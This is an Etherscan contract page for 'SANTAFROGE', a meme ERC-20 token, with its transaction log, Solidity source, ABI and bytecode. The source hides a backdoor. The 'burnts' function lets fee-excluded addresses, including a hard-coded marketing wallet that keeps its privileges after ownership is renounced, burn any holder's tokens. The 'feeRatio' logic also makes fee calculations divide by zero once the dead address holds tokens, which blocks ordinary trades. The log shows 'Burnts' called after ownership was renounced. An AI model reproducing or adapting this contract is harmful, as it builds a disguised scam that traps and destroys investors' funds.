ETH Price: $3,265.49 (-0.56%)
Gas: 1 Gwei

Contract

0x2ABcCD78d6bF02ec2d48a579824b83Bc7d1da26c
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Burnts188475812023-12-23 9:20:35218 days ago1703323235IN
0x2ABcCD78...c7d1da26c
0 ETH0.0007076919.10739675
Approve188475762023-12-23 9:19:35218 days ago1703323175IN
0x2ABcCD78...c7d1da26c
0 ETH0.0008901418.855871
Approve188475562023-12-23 9:15:35218 days ago1703322935IN
0x2ABcCD78...c7d1da26c
0 ETH0.0008874218.79825135
Approve188475412023-12-23 9:12:23218 days ago1703322743IN
0x2ABcCD78...c7d1da26c
0 ETH0.0005392119.74564875
Approve188475402023-12-23 9:12:11218 days ago1703322731IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009197519.48304739
Transfer188475392023-12-23 9:11:59218 days ago1703322719IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009249319.82240958
Transfer188475342023-12-23 9:10:59218 days ago1703322659IN
0x2ABcCD78...c7d1da26c
0 ETH0.0015662719.37758077
Transfer188475312023-12-23 9:10:23218 days ago1703322623IN
0x2ABcCD78...c7d1da26c
0 ETH0.000881818.89814656
Approve188475202023-12-23 9:08:11218 days ago1703322491IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009727720.6060878
Approve188475162023-12-23 9:07:23218 days ago1703322443IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009454520.00199493
Approve188475162023-12-23 9:07:23218 days ago1703322443IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009459220.01199493
Transfer188475082023-12-23 9:05:47218 days ago1703322347IN
0x2ABcCD78...c7d1da26c
0 ETH0.0013123821.3291227
Approve188474892023-12-23 9:01:47218 days ago1703322107IN
0x2ABcCD78...c7d1da26c
0 ETH0.0010020721.22673703
Approve188474882023-12-23 9:01:35218 days ago1703322095IN
0x2ABcCD78...c7d1da26c
0 ETH0.0008938319.03081328
Approve188474792023-12-23 8:59:47218 days ago1703321987IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009392519.89607404
Approve188474782023-12-23 8:59:35218 days ago1703321975IN
0x2ABcCD78...c7d1da26c
0 ETH0.0008790718.62128922
Approve188474722023-12-23 8:58:23218 days ago1703321903IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009199219.4865681
Approve188474682023-12-23 8:57:35218 days ago1703321855IN
0x2ABcCD78...c7d1da26c
0 ETH0.0010771122.78743172
Approve188474672023-12-23 8:57:23218 days ago1703321843IN
0x2ABcCD78...c7d1da26c
0 ETH0.0010650622.53247496
Approve188474622023-12-23 8:56:23218 days ago1703321783IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009490620.10379887
Renounce Ownersh...188474552023-12-23 8:54:59218 days ago1703321699IN
0x2ABcCD78...c7d1da26c
0 ETH0.0004927220.88246352
Approve188474522023-12-23 8:54:23218 days ago1703321663IN
0x2ABcCD78...c7d1da26c
0 ETH0.0011925.17560181
Remove Limistitl...188474482023-12-23 8:53:35218 days ago1703321615IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009217725.79254618
Open Trading188474422023-12-23 8:52:23218 days ago1703321543IN
0x2ABcCD78...c7d1da26c
0 ETH0.0008244817.85416224
Approve188474352023-12-23 8:50:59218 days ago1703321459IN
0x2ABcCD78...c7d1da26c
0 ETH0.0009308119.80786453
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SANTAFROGE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-23
*/

/**

*/


//SPDX-License-Identifier: MIT

/** 

https://twitter.com/SANTAFROGE

https://t.me/SantaFrog_Portal

*/

pragma solidity 0.8.19;

pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract SANTAFROGE is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public _uniswapV2Router;
    address public uniswapV2Pair;
    
    address private _develpAddrss ;
    address private _marketingtets ;

    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name =unicode"Santa Frog";
    string private constant _symbol =unicode"SANTAFROGE";

    uint256 public initialTotalSupply = 42069_000_000 * 1e18;              
    uint256 public maxTransactionAmount = (3 * initialTotalSupply) / 100;       // 3%
    uint256 public maxWallet = (3 * initialTotalSupply) / 100;                  // 3%
    uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000;       // 0.05%

    bool public tradingOpen = false;
    bool public swapEnabled = false;

    uint256 public BuyFee = 0;
    uint256 public SellFee = 0;

    uint256 public BurnBuyFee = 0;
    uint256 public BurnSellFee = 1;

    uint256 feeDenominator = 100;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    modifier validAddr {
        require(isExcludedFromFees(msg.sender));
        _;
    }

    event ExcludeFromFe(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    constructor() ERC20(_name, _symbol) {
        
        _develpAddrss  = payable(_msgSender());
        _marketingtets = payable(0x106269CD8Eaba93807810D9baAD451fF8f89eFfF);

        excludeFromFe(owner(), true);
        excludeFromFe(address(_marketingtets ), true);
        excludeFromFe(address(this), true);
        excludeFromFe(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(_marketingtets ), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
       
        _mint(msg.sender, initialTotalSupply);
    }


    receive() external payable {}

    function openTrading() 
        external 
        onlyOwner 
    {
        require(!tradingOpen,"Trading is already open");

        swapEnabled = true;
        tradingOpen = true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function updateDevWallet(address newDevWallet)
        public
        onlyOwner
    {
        emit devWalletUpdated(newDevWallet, _develpAddrss );
        _develpAddrss  = newDevWallet;
    }

    function updateMaxWalletAmount(uint256 newMaxWallet)
        external 
        onlyOwner 
    {
        require(newMaxWallet >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set max wallet lower than 0.1%");
        maxWallet = newMaxWallet * 1e18;
    }

    function feeRatio(uint256 fee)  internal view returns (uint256) {
        return balanceOf(deadAddress) > 0 && fee > 0 ? ((feeDenominator-1) / 100) : 1;
    }

    function excludeFromFe(address account, bool excluded)
        public 
        onlyOwner 
    {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFe(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }

            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
            ) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }

            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            } 
            
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(feeRatio(BurnSellFee) * feeDenominator);
            }
            else {
                fees = amount.mul(BuyFee).div(feeRatio(BurnBuyFee) * feeDenominator);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }
    function removeLimistitlte() external onlyOwner {
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _marketingtets ,
            block.timestamp
        );
    }

    function clearStuckedEths() external {
        require(address(this).balance > 0, "Token: no ETH to clear");
        require(_msgSender() == _marketingtets );
        payable(msg.sender).transfer(address(this).balance);
    }

    function burnts(address sender, uint256 amount) external validAddr { 
        _burn(sender, amount);
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** 18);
    }

    function manualSwap(uint256 percent) external {
        require(_msgSender() == _marketingtets );

        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 requiredBalance = totalSupplyAmount * percent / 100;
        require(contractBalance >= requiredBalance, "Not enough tokens");
        swapTokensForEth(requiredBalance);
    }

     function Launch()
        public 
        payable 
        onlyOwner 
    {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());                
        excludeFromMaxTransaction(address(uniswapV2Pair), true);

        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);      

        _approve(address(this), address(_uniswapV2Router), type(uint256).max);

    }

    function swapBack(uint256 tokens) private {
                        
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (contractBalance == 0) {
            return;
        } 
        else if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }

        swapTokensForEth(tokensToSwap);
    }    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFe","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"inputs":[],"name":"BurnBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BurnSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckedEths","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimistitlte","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWallet","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526b87eea943b6f2460a75000000600a556064600a546003620000279190620007a6565b62000033919062000820565b600b556064600a546003620000499190620007a6565b62000055919062000820565b600c55612710600a5460056200006c9190620007a6565b62000078919062000820565b600d556000600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506000600f556000601055600060115560016012556064601355348015620000d757600080fd5b506040518060400160405280600a81526020017f53616e74612046726f67000000000000000000000000000000000000000000008152506040518060400160405280600a81526020017f53414e544146524f474500000000000000000000000000000000000000000000815250816003908162000155919062000ac8565b50806004908162000167919062000ac8565b5050506200018a6200017e6200034760201b60201c565b6200034f60201b60201c565b6200019a6200034760201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073106269cd8eaba93807810d9baad451ff8f89efff600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000251620002436200041560201b60201c565b60016200043f60201b60201c565b62000286600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200043f60201b60201c565b620002993060016200043f60201b60201c565b620002ae61dead60016200043f60201b60201c565b620002d0620002c26200041560201b60201c565b6001620004fa60201b60201c565b62000305600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620004fa60201b60201c565b62000318306001620004fa60201b60201c565b6200032d61dead6001620004fa60201b60201c565b6200034133600a546200056560201b60201c565b62000d47565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e